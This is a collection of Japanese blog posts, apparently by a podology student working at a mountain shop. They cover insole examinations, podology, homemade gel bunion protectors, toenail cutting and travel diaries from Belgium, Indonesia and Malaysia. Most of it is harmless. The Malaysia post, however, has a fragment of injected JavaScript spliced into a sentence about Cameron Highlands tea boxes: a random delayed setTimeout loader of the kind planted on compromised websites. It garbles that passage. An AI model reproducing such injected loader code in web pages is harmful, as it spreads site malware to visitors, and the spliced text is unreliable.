インソール 診査から作製まで。 「診査編」 イン-オリ魂

Examen clinique (診査)は、大きく分けると、三つのセクションに分かれている。

1 – 患者と相談の理由
2 – スタティック (まっすぐ立った状態)、 ダイナミック (歩き方、走り方などの動き) での体全体の診査
3 – 診察台に横になっている状態での体全体の診査

2番と3番の順番は、患者によって変わる。

1 – 患者と相談の理由

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ここで重要なのは、患者について、できるだけ情報の得ること。以前、捻挫、骨折、手術を受けて事があるとか、職場の環境(一日中、デスクワークだったり、立ちっぱなしだったり)、スポーツをしているなら、回数、現場の環境、履いている靴などを聞く。
その次に、患者の相談につて、情報収集。
例えば膝の痛み:正確に、いつから痛む、どこが、どういう風に、何をするとき、何をすると痛みが静まる、など詳しく質問する。

2 – スタティックとダイナミックの診査

まずはスタティック、体のバランスから診査。その次に腰から足まで診査。骨や関節の角度、高さなども調べる。

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 次にダイナミック、歩き方や、走り方を診察。一歩一歩観察して、痛みの原因につながる異常な動きや関節の動きの角度などを調べる。

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3 – 診察台に横になっている状態での体全体の診査

患者を診察台に寝かし、体重などが関節にかからない状態にして、関節、筋肉、骨などを診査する。

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この三つのセクションで得た、情報を基に、痛みや、バランスの原因を見つける。
ここで、インソールをサポート系にするか、修整系にするかが決まり、インソールに付ける部品(硬さ、高さ、位置)が決まり、作製にかかる。

 

次回は、 インソール 診査から作製まで。 「作製編」

 

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インー魂 :
– ポドローグとは、
爪の切り方
– 外反母趾ジェルプロテクター (1) (2)
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ポドロージーとは、In-オリ魂

ポドロージーとは、“Podo=足+ logie=学問”で、それを専門としているポドローグとは、フットドクターのことです。

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世界史に初めてこの職業の痕跡が残っているのは、紀元前1600年頃のバビロニア人やエジプト人の書物。「医学の父」とも言われるギリシャのヒポクラテスも、足の働きなどに興味を持ち、書物に残している。ローマ時代も軍隊の移動のさい、欠かさずフットドクターを連れていたと言う。

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フランスでは、Pedicure-Podologue と言って、仕事が二つの分野に分かれている。Pedicure (ペディキュール)は、魚の目、巻き爪、踵のひびなどの治療や、シリコンプロテクター、義爪などのオーダーメイドの作製。 

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Podologue (ポドローグ) は、体全体から、腰、膝、足の全体的なバランス、関節や筋肉の状態、歩き方や走り方、などの診査を行ってから、それぞれの両足に合わせたインソールを作製する。フランスでは、インソールは、医療的な中敷きのことを示す。

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人は皆、他人とは違う足を持っていて、頭から足の先まで完璧なバランスの人もいないのと同じく、右足と左足も全く対称な人はいない。だからインソールは、本質的にオーダーメイドでなければならない。

成長、姿勢、生活習慣、スポーツ等から、体は痛みを避けながら、無意識に姿勢を崩してしまいます。その姿勢の崩しが原因で、首、肩、背中、腰、膝、足首、足などのバランスや動きが正常に働かなくなり、痛みに繋がります。

インソールは、足裏から骨、筋肉、関節を通して体全体の動きのバランスをより正常に動かすことが目的。人は一日、約一万歩歩くので、一歩踏む度に、インソールが足裏からを刺激するので、一歩一歩が治療につながる。

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ペディキュールとポドローグは、別々な職業に思えるが、深く関係している。例えば:体のバランスが崩れる → 歩き方が変わる → 足に負担がかかる → 魚の目ができる。

そこで、魚の目を治療 → 魚の目の痛みは無くなる → 歩き方、体のバランスなど診査する → インソールで負担を無くし、体のバランスを直す → 魚の目だけではなく、その原因も直す。

今僕は、こんな感じの事を勉強してますので、登山用品以外にもお悩みの皆さん、ご相談下さい!。以前の記事はコチラから。
爪の切り方
– 外反母趾ジェルプロテクター (1) (2)

特殊ジェルの対外反母趾プロテクター In-オリ魂 (その2)

今日は、「靴下にジェルを定着」編。復習はココ

材料とお道具は :
・ 「白い液体」
・ 「青い液体」
・ 注射器2本 (液体同士がボトルの中で混ざると、ジェル化してしまう。)
・ テープとマジック(位置を決める)

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ますは、靴下を履いて、かかと、外反母趾、小指など、ジェルを定着させる位置をマーキング、液体がこぼれ落ちないないように周りをテープで囲む。

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「白い液体」と「青い液体」をよく混ぜる。液体が化学反応を終えるとジェルに変わるので、とにかく急ぐ!。

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 混ぜた液体を、確定した場所に流し込む。6

液体がジェルに変わるまで、液体がこぼれ落ちないように気をつけて、置いておく。完全にジェル化したら出来上がり。7

9月には僕はフランス戻りますが、お店にいる間にご要望があればワンオフメイキングいたします。外反母子などお悩みの方、この外反プロテクター試して見まっせんか?。また足の悩み、痛み、気になる事のある方、この機会にご相談下さい。できる限り解決策を考えます!。

特殊ジェルの対外反母趾プロテクター In-オリ魂 (その1)

デナリでは、よく外反母趾や、小指などが靴に当たって悩んでいるお客さんがいる。

個人的には、踵が”尖って”いるせいで靴の中がすぐ破ける。そんな問題に今年は、フランスでインソールなどの原材料メーカから、 普段なら手に入らない特別なジェルが手に入りました。

それこそ、抗菌・防臭・軽量のFPCジェル。それは、ジェルの基礎となる液体とその液体を触媒する液体をませて作る。一個づつ、ハンドメードで、一人一人の外反などに合わせたオーダーメイド。

弾力性、伸縮性に優れたこのジェルは、元々液体なので、形、厚さなど自由自在。靴下の線維の間、靴の中、ボールペンの周りなど幅広いジャンルで活用できる高性能ジェル。

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4mm位に厚くすると、かなりの弾力性。

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1mm以下だとビロンビロンな伸縮性。薄さのわりには、かなり頑丈で結構引っ張らないと、破れない。
サンプルもあるので、見に来てください。

他の外反母趾プロテクターなどは、プロテクターの上から靴下を履かなければならない。そうすると結局、外反母趾の部分が、プロテクターと靴下の厚みに圧迫されてしまう。その点、このジェルは、靴下の線維の間に流しこむので、靴に当たる部分をあまり分厚くしないでプロテクトできる。
もちろん、洗濯もネットに入れれば、問題なし。

 「靴下にジェルを定着」編 へつづく!

みなさん!爪はきちんと切りましょう!

夏休みは“seasonal laborer”として店で酷使されるオリさんは普段はパリにいます。デナリさんの「パリ駐在員」としてではなく、本職は学生さんで“Podologue(ポドローグ:足の専門医)”の勉強をしています。ただの足フェチではございません。「こんなのはどうでしょう?  にほんごがおかしかったら、なおしてください」って久々に入稿、ネタ切れを見越してIDとPassWordを渡しておいてよかった。

<ビエくんの話>

クライミング、登山、スキー、ランニングなど、さまざまスポーツにおいて、足にあった靴を履くことは、とても大切です。

スポーツに合った靴、足に合う形、足に合うサイズなどで靴を選びますが、ちゃんとした靴を履いていても、爪が長すぎたり、短すぎたり、巻き爪などあれば、思うよな行動ができません。

なので、今日は、普通の爪きりでできる、基本的な爪の切り方を教えたいと思います。

まずは、爪が完全に切れでいない状態の時、ひっぱらいないこと!(奥に残った部分が後で痛みの原因になる。)

まず、まっすぐ! 爪きりの刃が少し奥に当たって、痛くない程度。

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両サイドにある角を切って、丸くする。

この時、爪きりの刃が、角よりもちょっと出る感じ。(尖がってる部分が残って、皮膚を刺激しないため。

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このように、丸く切れば、爪が生えて来る時に、尖っていないので、皮膚を刺激する心配はありません。

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爪より、周りの皮膚が多いい時は、メスなどで少し削るのもいいでしょう。(皮膚の硬い部分が柔らかくまで、ピンク色になるか、ならないか程度。赤色はアウト)

皮膚や、爪に問題があるときは、医師にご相談ください。

そんな訳で、オリさんご苦労。今年もよろしくお願いします。で、ソフィーちゃんもHappy New Year!。

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ビエ君 ~夏の日記~ 2012年度、最終回

は~、もう今年の季節労働期間が終わってしまいました。。。
色々ありました。

7月の半分は、日仏ガイドとして、日光、京都、奈良、天理、鎌倉、東京(お台場、秋葉原、新宿、渋谷、浅草、上野、学芸大学、デナリ、大森、原宿、靖国神社、明治神宮、飯田橋、両国 etc)など、を回って来ました。僕は別に興味もあまりないし、色々詳しくないのに、お寺の看板から美術館の細かい説明まで、ほぼ100%通訳させられるはめに。。。でも、相手が日本初めてなので、しょうがないし、それもまた、ある意味楽しい。はぁ~、つかれました、本当に。

それからは、2005年から毎年、夏にお世話になっている、「山の店、デナリ」で、毎日アルバイト。昔、富士山や、クライミングジムで出会った友達と仕事も出来て、美味しい物食べて、たのしくて、あっと言う間の2ヶ月間でした。

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みなさん、今年もありがとうございました!!!
また来年、遊びに来ますので、よろしくお願いします!!!

~ビエ君 日記~ デリリウム ビレッジ

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EUの首都のブリュッセルのセンター街に、ビールの種類が世界で一番多い店 がおある。店と言っても、行き止まりの道に5軒のバーがある。その行き止まり全部が 「デリリウム ビレッジ」なのだ。

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生ビールの種類は、20以上。瓶ビールの種類は300種類以上!お店によって雰囲気もちがうしカクテル、ラム、アブサン、ウイスキー等も、種類が多い。Delirium-bar-Brussels[1]

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お酒のメニューは、ファイルに入れないと収まらない。。。

ブリュッセルで有名なしょんべん小僧の女の子バージョンもその行き止まりの道にいる。

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週末にかぎらず、学生、観光者、仕事帰りのサラリーマンなどでにぎわっている。機会があれば、行ってみてください。

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あなたは、何種類ためせるかな?
今度機会があれば、30種類位試したいな~ (ちなみに、現在12種類クリアー)

ビエ君 ~夏の日記~ インドネシア ロンボックへの旅

シンガポールから、飛行機で約2時間半。バリ島の東にあるロンボック。センギギをベースに1週間のんびりうろうろしてきた。

リンジャ二と言う富士山的な山があるが(3726m)富士山と同じく砂と小石だらけな山。上からの景色は海も見れてきれいだろーけど、富士山の「整備されてない」的な山を8時間もかけて、しかも登山靴など装備無しで登りたくないし飛行機から見えたし。と思い結局ダイビング。

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コモドドラゴンの住んでるコモド島に行ってみるか!と思ったらロンボックから、往復6日間。。。やっぱいいや。そこまで時間使って見たくもなかったし。。。結局、ロンボックをメインでぶらぶらとスクーターで回った。南西の方を走っていて、ちょっと休憩したら、その村に住んでいるおばーちゃんが、「あそこに見える島行ってごらん」って言われて、なんか知らないけど行って見た島の名前は、ギリナングー、バンガローが10軒と食堂があって、99%無人島! 俺たちの島だー!って感じ。21っ世紀なのに、誰もいない島にいるとなんかほっとする感じ。のんびりしていると、「幸せってなんだろう?」とか思ってしまう。考えるのもめんどくさくて、結局「腹へってなくて、のどか沸いてなくて、寒くなくて、暑すぎない」=幸せ ということに決定。

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昼間は、全身ふやけながら、ひたすらダイビング!ウミガメはふつーにとなりで泳いでるし、いるかも結構見れる。水もきれいだから遠くまで見える!ダイビングインストラクターが、「PADI(国際ダイビング免許的なもの)をとればいいじゃん!ダイブ技術はOK だから、筆記だけやればいい!」って誘ってくれた。結局筆記を受けることにして、テンションが上がった僕は、その夜浜辺のビーチサイドのバー現地の人、とかいろんな国のサーファーやダイバーといっしょにクバリブレを飲みまくり。次の朝、筆記。もちろん二日酔い。テスト用紙見たらびっくり!技術用語はもちろん、全部英語。。。当たり前ちゃー当たり前だけど、筆記テストは何語?間で考えていなかった。ダイビングの時は、簡単な英語とボディーラングエッジだから通じたのに。。。軽い気持ちでテスト受けた事と、前の晩飲みすぎたこと、あいかわずの爪の甘さをすごく公開した。まー結局90%の成功率でパスできたから、結果OKって事に。

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後は、観光者らしくお寺など、文化的なものを見に行った。バリ島より色とか派手ではないが、そのシンプルさも結構好き。

バリより、観光施設など、お寺の整備はちゃんとしてないけど、ロンボックの方がルーツって感じで、結構好きになった。

ビエ君 ~夏の日記~ マレーシアの旅

シンガポールの北のほうに、マレーシアに行く橋がある。バスで、首都のクアラルンプールまで、やく4時間。

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ペトロナスツインタワー、大きい建物、ショッピングモールの中には遊園地、(ここのジェットコースターは、お台場ジョイポリスの新しいジェットコースターよりすごい!) チャイナタウンで’’偽者’’の商品の市場、やっぱり二日くらいないと全部見れない。でも、クアラルンプールで一番すごいと思ったのは、バトゥ洞窟。町の中心部からも結構近い、巨大な洞窟である。ヒンドゥー教の聖地。洞窟は、いくつかあり、ヒンドゥーの神様の彫刻がたくさんある洞窟や、中に滝がある洞窟や、 ヘットランプを付けてガイドと一緒に探検する洞窟などある。洞窟が一番大きい所だと、天井が100m以上。上から落ちてくる水滴は、痛い。。。

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キャメロンハイランド

クアラルンプールから、更に北の山の方へ行くと、紅茶の産地。確かに美味しい。後から気づいたけど、時々紅茶のアールグレイの箱を見てみると「Cameron Highlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and」って書いてある。お茶の他にも、色々な植物が生えてます。ジャングルの探検すると、ラフレシアとか人形の形や、フラメンコのドレスっぽい花が見れます。しかし、気をつけましょう!「森の住民に会える」的なツアーがある。車で10分程度の国道沿いに昔ながらの生活を森の民がしてるわけ無いじゃん。。。騙されないように!

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マラッカ

クアラルンプールから、約2時間、シンガポールが国際的な港として発達する以前、ポルトガル、オランダ、英国などが利用していた港街。今では静かな、小さい港町。ポルトガル人が作った要塞、フランシスコ ザビエルが住んでいた家や教会、中国人のショップハウス系な町並み、川沿いの道などあって、のんびり出来る町。

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メルシンの港から、フェリーに乗る。99%がジャングルで覆われている島。CIMG0174

 

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小さい空港や、ホテルもあるが、ほぼバンガローだらけ。オフシーズンの雨期には無人島状態、ヤモリ、蜘蛛とオオトカゲのパラダイス。

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国際的有名なダイビングスポット。シュノーケルだけで泳いでいてもウミガメが見えるくらい水がきれい。海辺でちょっと海水浴もいいけど、結構自然のままに残されているから、すぐそこにウニの大きい奴とかがいてかなり危険。死にはしないけど、マジ痛い。。。

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マレーシアは、僕的には、ダイビングスポットがいっぱいあるし、結構いろんな場所を安くうろうろ出来て、いろんな風景も見れて、結構楽しかった。今度は、マレーシアのボルネオに行ってみたいなー

ビエ君 ~夏の日記~ レゲーバー

幼なじみの友達のEくんと飲みに行きました。とってもたのしかったです!

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新宿三丁目駅と新宿御苑前駅の間くらいにある、ちっちゃな道の奥の地下にあるこのお店は、知らないと見つけられないお店。

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この店は去年、たまたま見つけました。終電を逃して、お酒でいい気分になってふらふら歩いていて、フッと小さい道の奥を見ると、奥のほうに、赤、黄、緑の色の看板が見えた。酔っ払った勢いで、中に入ってたら、ROOTS REGGAEのライブ。最高によかった!

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普通の日も、壁一面ぐらい大きいスピカーから超ルーツなReggaeをDJ が流して、店内にあるジャンベーとかいろんな楽器もつかえて楽しい!値段も安いし、カクテルとかもおいしい。それ以降、時々M とEと遊びに行く。レゲー好きな人にはたまらないお店です。